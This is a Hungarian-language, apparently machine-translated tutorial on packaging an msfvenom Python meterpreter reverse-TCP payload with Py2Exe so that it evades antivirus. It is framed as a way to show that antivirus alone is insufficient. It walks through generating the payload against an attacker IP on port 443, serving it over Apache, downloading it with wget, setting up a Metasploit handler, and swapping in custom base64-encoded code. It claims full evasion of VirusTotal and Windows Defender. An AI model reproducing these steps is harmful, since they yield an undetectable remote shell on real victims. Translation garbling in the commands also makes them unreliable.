Antivírus-kijátszás Python-nal

Összegzés

A védelem mélyreható biztonsági ellenőrzéseinek bevezetésekor a szervezetbe valószínűleg vírusirtókat is beépít a megoldás részeként. Ez mindenképpen jó gyakorlat, amennyiben szem előtt tartjuk, hogy az antivírusok csak egy további védelmi réteget jelentenek, és soha nem szabad kizárólag attól függenünk a végfelhasználói eszközök védelmében.

A jó biztonsági programnak mindig tartalmaznia kell a védelmet olyan mélyreható ellenőrzésekben, mint a szoftverfrissítés irányítása, tűzfalak, képzés / biztonsági tudatosság, fizikai biztonság, identitáskezelés, jelszópolitika stb. Nem ritka azonban, hogy egy biztonsági mérnök kap vitatta, hogy szükség van-e ezekre a további rétegekre, és lehet, hogy be kell mutatnia, hogy az antivírusokat hogyan lehet könnyen megkerülni, hogy ezzel bizonyítsa álláspontját.

Ebben a cikkben egy nagyon áttekinthető oktatóanyagot mutatunk be arról, hogyan lehet megkerülni az antivírusokat teljesen javított és frissített Windows környezetekben Python hasznos terheléssel.

Ne feledje, hogy az antivírus megkerülésének megkísérlése macska és egér játék. Amikor egy új adókikerülési technika népszerűvé válik, a víruskereső gyártók végül megismerik és frissítik az aláírások adatbázisát, hogy blokkolják. Ezután új adókikerülési technikák merülnek fel, amelyek arra késztetik az eladókat, hogy felvegyék az aláírás-adatbázisukba, stb. És így tovább.

Az írás idejére az itt leírt módszert sikeresen alkalmazták a Virus Total összes rendelkezésre álló szállítói motorjának megkerülésére, és a rosszindulatú műtermék sikeres végrehajtására egy teljesen frissített Windows 10 gépen, engedélyezve a Windows Defender funkciót.

Python hasznos terhe

Az aláírás-alapú antivírusok úgy működnek, hogy összehasonlítják az artefakt bináris fájljait az aláírások adatbázisával. Célunk, hogy „álcázzuk” a hasznos terhelést oly módon, hogy azok ne egyezzenek meg a víruskereső gyártók adatbázisában található ismert aláírásokkal. Egy viselkedésalapú víruskereső megpróbálja az ismert gyanús tevékenységeket összehangolni az adott műtárgy által végzett tevékenységekkel. Rosszindulatú programunk pusztán kliensként fog működni, és megpróbál TCP-kapcsolatot indítani a 443-as porton. A viselkedésalapú vírusirtók nehezebbé teszik az ilyen tevékenységek megjelölését anélkül, hogy sok hamis pozitív információt adnának ki olyan legitim alkalmazásokhoz, mint a böngészők.

Ebben a példában az MSFVenom által generált Python hasznos terhet fogjuk használni, hogy a Metasploit futtató támadó géphez a 443-as porton egy fordított TCP-héjat (meterpreter munkamenetet) nyissunk. Egy ilyen mű nyilvánvalóan rosszindulatú, és minden vírusirtónak mindig megjelölnie kell.

Az itt leírt megközelítés elég rugalmas, így kiterjesztheti azt azáltal, hogy az msfvenom minta hasznos példáját lecseréli a saját, személyre szabott Python hasznos terhelésére.

Környezet beállítása

Ehhez az oktatóanyaghoz 3 virtuális gép használatát javasoljuk:

Kali Linux a hasznos teher létrehozásához és a Metasploit futtatásához;

Windows Metasploitable 3 a hasznos teher műtárgyba csomagolásához;

A Windows 10 teljesen javítva lett a végső mű futtatásához;

Azért használtunk két különálló Windows virtuális gépet, mert egy teljesen frissített / javított dobozra van szükségünk annak biztosítására, hogy műtermékünk nagyon nagy eséllyel működjön bármely adott Windows környezetben. Másrészt, mielőtt a hasznos terhet a Py2Exe-hez csomagolná, egy teljesen javított gép mindig megjelöli a nyers Python hasznos terhelést, így nehéz munkát végeznie vele. Ezért szükség van a Metasploitable 3 virtuális gépre a nyers teher kezeléséhez, mielőtt azt csomagolják.

FUD meterpreter hasznos terhelés létrehozása a Python használatával

Az artefaktum létrehozásához javasoljuk a Windows Metasploitable 3 használatát fő Windows-környezetként.

Telepítse a Python 2.7.16 x86 rendszert a Windows rendszerhez: https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi

* Megjegyzés: Python 2.7 x86 szükséges. Telepítse a 32 bites verziót akkor is, ha a Windows x64-es doboz. A telepítés során feltétlenül válassza a „Python.exe hozzáadása az útvonalhoz” lehetőséget is.

Telepítse a Py2exe 32 bitjét a Python 2.7 alkalmazáshoz: https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download

Opcionálisan telepítse az Open SSL for Windows rendszert.

Váltson a Kali Linux gépre, és hozza létre a Python hasznos terhet.

* Megjegyzés: Kali Linuxunk a 10.0.2.10 IP-címet használja. Győződjön meg arról, hogy az oktatóanyag összes többi lépését lecserélte az aktuális IP-re

msfvenom -p python / meterpreter / reverse_tcp LHOST = 10.0.2.10 LPORT = 443 -f nyers -o /var/www/html/mrtp.py

service apache2 start

Másolja vissza az „mrtp.py” hasznos terhet a Windows gépére. A powershell használatával futtassa:

wget http://10.0.2.10/mrtp.py -O mrtp.py

Hozzon létre egy setup.py fájlt is a következő tartalommal:

Csomagolja be az önálló Python futtatható fájlt a Py2Exe alkalmazással:

python.exe. \ setup.py py2exe

Tesztelje a dist mappában létrehozott „mrtp.exe” műtárgyat:

Futtassa:

. \ dist \ mrtp.exe

Váltson vissza a Kali Linuxra, és futtassa a Metasploit programot:

A következő konfigurációt feltételezzük: Kali VM IP: 10.0.2.10

msfconsole

használja az exploit / multi / handler

fájlt

állítsa be a PAYLOAD python / meterpreter / reverse_tcp

parancsot

állítsa be a LHOST 10.0.2.10

parancsot

LPORT 443 beállítása

futás

* Megjegyzés: attól függően, hogy mennyi ideig tart a Metasploit kezelő beállítása, előfordulhat, hogy újra futtatnia kell az mrtp.exe fájlt a Windows mezőben.

Most, hogy megerősítettük műtárgyunk működését, ellenőrizzük a VirusTotal összes elérhető víruskereső motorjával. Látogasson el a www.virtutotal.com oldalra, és adja meg az „mrtp.exe” fájlt a szkenneléshez.

Ha minden jól megy, akkor az alábbihoz hasonló tiszta jelentést kell kapnia.

Itt az ideje futtatni a Windows 10 gépen. Másolja az „mrtp.exe” fájlt közvetlenül a Windows 10 dobozba. A való életben történő kiaknázáshoz valamilyen támadási vektort kell kihasználnia annak telepítéséhez és végrehajtásához a célponton, azonban ez nem tartozik a cikk hatálya alá.

Győződjön meg arról, hogy a Metasploit kezelője a 443-as porton hallgat, és futtassa az „mrtp.exe” műterméket a Windows 10 gépen.

Amint a képernyőképen látható, a mű teljesen észrevétlenül végrehajtódott, és a mérőóra munkamenet sikeresen létrejött.

Saját Python-terhelés testreszabása

Használhatja ezt a technikát, és használhatja saját, személyre szabott Python-terhelését. Csak annyit kell tennie, hogy megismétli az előző munkamenet lépéseit, szerkesztve az „mrtp.py” fájlt, miután azt az msfvenom segítségével generálta. Az eredeti kódolt base64 karakterláncot le kell cserélnie a saját Python-kódjával.

Csak példaként hozzunk létre egy új „custom_payload.py” Python szkriptet, amely csak két üzenetet nyomtat ki, és új hasznos terhelésként használja.

Létrehozása után kódolnunk kell az base64 kódolással:

macska custom_payload.py | base64

Az általunk használt mintaszkripthez a következő base64 kódolt karakterláncot kapja: “cHJpbnQgKCJDdXN0b21pemVkIHBheWxvYWQiKQpwcmludCAoIkl0IHdvcmtzISIpCg ==”

Most szerkesztjük az előző munkamenetben használt meglévő „mrtp.py” szkriptet, és az eredeti „aW1wb3J0IHNvY2t” kezdetű karakterláncot kicseréljük az újunkra.

A testreszabás után a végeredménynek hasonlónak kell lennie ehhez:

Másolja vissza az új „mrtp.py” fájlt a Windows gépére, és ismételje meg a csomagolás lépéseit:

wget http://10.0.2.10/mrtp.py -O mrtp.py

python.exe. \ setup.py py2exe

. \ dist \ mrtp.exe

Az új „mrtp.exe” csomagban lévő Python-artefaktus végrehajtása után a terminálra nyomtatunk „Customized payload” „Works” karakterláncokat.

Ezen a ponton képesnek kell lennie a kívánt Python FUD-artefaktum létrehozására, csak a „custom_payload.py” fájl szerkesztésével és a Py2Exe csomaggal való összekapcsolásával.